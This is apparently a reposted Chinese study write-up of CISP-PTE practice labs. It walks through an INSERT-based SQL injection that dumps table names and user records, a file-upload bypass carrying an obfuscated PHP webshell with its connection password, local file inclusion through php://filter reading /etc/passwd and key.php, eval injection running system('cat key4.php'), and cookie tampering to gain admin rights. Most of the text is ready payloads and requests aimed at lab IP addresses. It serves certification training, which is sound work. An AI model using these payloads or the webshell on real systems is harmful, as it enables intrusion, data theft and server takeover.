CISP-PTE学习总结之基础练习题

Posted 星球守护者

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CISP-PTE学习总结之基础练习题相关的知识,希望对你有一定的参考价值。

文章目录

基础题目一:SQL注入

0x01 题目要求

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
数据库中可以找到Key1

0x02 解题过程

第一步 访问首页

在登录得地方,尝试万能密码,进不去,发现不回显
在注册得地方,也没有发现回显
直接注册一个用户

第二步 通过注册得账号进入,有个文章发表的地方

发表一篇文章,

发现回显数据库语句

insert article1 value('49E0CAD0-F7E8-5BC2-FA78-7975F5807E14','123admintest1','123456','123admin')

思路就是让value提前通过‘)形成闭合,在文章内容的地方闭合,注意第三个参数是用户名得带上
发现发现文章的地方是使用插入一条数据的值,value(标题,内容,用户名),然后存放到数据库,可以同时插入两条内容,类似于(标题,内容,用户名),(标题,内容,用户名),使得第一条闭合,然后第二天插入自己想要的语句,采取文章发表页面进行查看

123456','123admin'),('123456','2','3 发现字段2和3能够回显
1','123admin'),('1',database(),'select version() 发现空格被过滤
1','123admin'),('1',database(),'3' 有回显
1','123admin'),('1',select/**/version(),'3' 通过注释进行过滤

查看发表成功得文章

insert article1 value('377856A7-4CF3-5384-E1AD-37ED2AE6D3A2','qweasd','123456','123admin'),('123456','2','3','123admin')
发表了两篇文章

1','123admin'),('1',database(),'select version()

查看回显

第三步 构造闭合,查看回显

1','123admin'),('1',(select/**/version()),'3 通过注释进行过滤

查看发布的文章

第四步 查看当前数据库下面得表名

1','123admin'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3
添加注释/**/
1','123admin'),('1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'3

article,article1,users1

第五步 查询user1表中得字段名称

1','123admin'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3
注释后的
1','123admin'),('1',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users1'),'3

password,username,XremarkX4354

第六步 查询user1表中username、password的字段值

1','123'),('1',(select password from users1 limit 0,1),'3
注释后
1','123admin'),('1',(select/**/password/**/from/**/users1/**/limit/**/0,1),'3


依次limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1)、通过INtrude遍历查看

发现不在密码字段,继续查询

1','123admin'),('1',(select/**/XremarkX4354/**/from/**/users1/**/limit/**/0,1),'3


0x03 解题总结

基础题目二:文件上传突破

0x01 题目要求

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

尝试获取webshell,答案就在根目录下key.php文件中。

0x02 解题过程

第一步 进入首页 进行抓取

第二步 更改数据包,基于内容的文件头检测,是否为图片格式

POST /start/ HTTP/1.1
Host: 150.158.27.164:1082
Content-Length: 793
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://150.158.27.164:1082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyEOMrHfE69zoK0wE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://150.158.27.164:1082/start/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e567ivvh4gtele9ffol0tf2akl
Connection: close

------WebKitFormBoundaryyEOMrHfE69zoK0wE
Content-Disposition: form-data; name="files"; filename="123.php"
Content-Type: image/jpeg

GIF89a
<?php $Oyuo=create_function(base64_decode('JA==').chr(765-650).base64_decode('bw==').str_rot13('z').chr(01443-01276),str_rot13('r').str_rot13('i').str_rot13('n').chr(429-321).chr(0x9880/0x3d0).str_rot13('$').chr(0x1ad01/0x3bb).base64_decode('bw==').chr(0xf4-0x87).base64_decode('ZQ==').chr(050605/0775).str_rot13(';'));$Oyuo(base64_decode('MTI5O'.'DM4O0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').chr(0200016/01666).base64_decode('OQ==').chr(0x68ac/0x13f).chr(0xc0d4/0x23e).''.''.chr(49980/714).str_rot13('g').chr(065004/0346).str_rot13('D').str_rot13('z').''.'tNTFZ'.'rVV0p'.'OzM4O'.'TUxND'.'s='.''));?>
------WebKitFormBoundaryyEOMrHfE69zoK0wE--

第三步 进行连接

http://150.158.27.164:1082/123.php
---------------------------

<?php // 使用时请删除此行, 连接密码: oBkMLVkU ?>
<?php $Oyuo=create_function(base64_decode('JA==').chr(765-650).base64_decode('bw==').str_rot13('z').chr(01443-01276),str_rot13('r').str_rot13('i').str_rot13('n').chr(429-321).chr(0x9880/0x3d0).str_rot13('$').chr(0x1ad01/0x3bb).base64_decode('bw==').chr(0xf4-0x87).base64_decode('ZQ==').chr(050605/0775).str_rot13(';'));$Oyuo(base64_decode('MTI5O'.'DM4O0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').chr(0200016/01666).base64_decode('OQ==').chr(0x68ac/0x13f).chr(0xc0d4/0x23e).''.''.chr(49980/714).str_rot13('g').chr(065004/0346).str_rot13('D').str_rot13('z').''.'tNTFZ'.'rVV0p'.'OzM4O'.'TUxND'.'s='.''));?>

0x03 解题总结

基础题目三:文件包含

0x01 题目要求

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。

0x02 解题过程

第一步 先使用本地包含,发现可以成功

http://150.158.27.164:1083/start/index.php?page=/etc/passwd

第二步 使用php://filter协议进行包含,双写绕过

GET /start/index.php?page=php:/php:///filter/read=convert.base64-encode/resource=../key.php HTTP/1.1
Host: 150.158.27.164:1083
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: IsAdmin=false; Username=R3Vlc3Q%3D
Connection: close

http://150.158.27.164:1083/start/index.php?page=php:/php:///filter/read=convert.base64-encode/resource=../key.php


0x03 解题总结

基础题目四:代码执行漏洞

0x01 题目要求

代码执行漏洞是指没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。

0x02 解题过程

第一步 查看网页源代码

<?php
error_reporting(0);
include "key4.php";//本地存在key4.php文件,进行包含
$a=$_GET['a'];//使用get,传入参数a的数值
eval("\\$o=strtolower(\\"$a\\");");//使用eval函数进行输出,对输入的变量值进行小写转换函数,赋值给变量o
echo $o;//输出小写转换后的a的值
show_source(__FILE__); //输出显示本网页源代码

通过分析,这个文件包含了key4.php文件,使用get请求方式传入参数a,然后通过字符串转换函数strtolower(),执行eval()函数输出,最后一行是输入源代码。

第二步 构造函数闭合,执行命令
先使用:)使得strtolower()函数闭合,然后执行命令system();最后注释闭合整行

a=");system("cat key4.php");//
?a=");system("cat%20key4.php");//

0x03 解题总结

基础题目五:失效的访问控制

0x01 题目要求

失效的访问控制, 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如: 访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
请使用admin用户访问权限获取KEY

0x02 解题过程

第一步 访问页面,提示当前用户guest,权限不够

第二步 抓取数据包,进行cookie信息解码,发现cookie信息可修改

Cookie: PHPSESSID=e567ivvh4gtele9ffol0tf2akl; IsAdmin=false; Username=R3Vlc3Q%3D


第三步 通过更改cookie的认证信息,重放数据包

admin--base64编码:YWRtaW4=
更改后的值:
Cookie: PHPSESSID=e567ivvh4gtele9ffol0tf2akl; IsAdmin=true; Username=YWRtaW4%3D

0x03 解题总结

摘抄


学习不只在于习得新知识,更在于它能帮助我们保持深度思考,从中不断修正对世界的认知,对自我的了解,继而获得真正的成长。
学习从来不是一件一劳永逸的事情,它应该是人生任何阶段都不可或缺的一种能力。
唯有不断学习,才能与时俱进,不被淘汰。让不断学习成为一种习惯,你所收获的将会是应对生活最大的底气和智慧。
—《不断学习》


以上是关于CISP-PTE学习总结之基础练习题的主要内容,如果未能解决你的问题,请参考以下文章

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE实操练习题讲解二(新版)

SQL注入学习总结:其他类型SQL注入之SQL约束攻击